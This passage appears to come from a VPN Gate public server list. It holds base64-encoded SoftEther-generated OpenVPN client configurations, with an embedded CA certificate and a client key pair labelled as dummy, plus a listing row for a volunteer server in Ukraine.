dGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn900040662,178.151.36.49,698442,21,107174658,Ukraine,UA,30,67844195,19810,2010008328659,2weeks,Maksym's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxNzguMTUxLjM2LjQ5IDE0MDkNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJn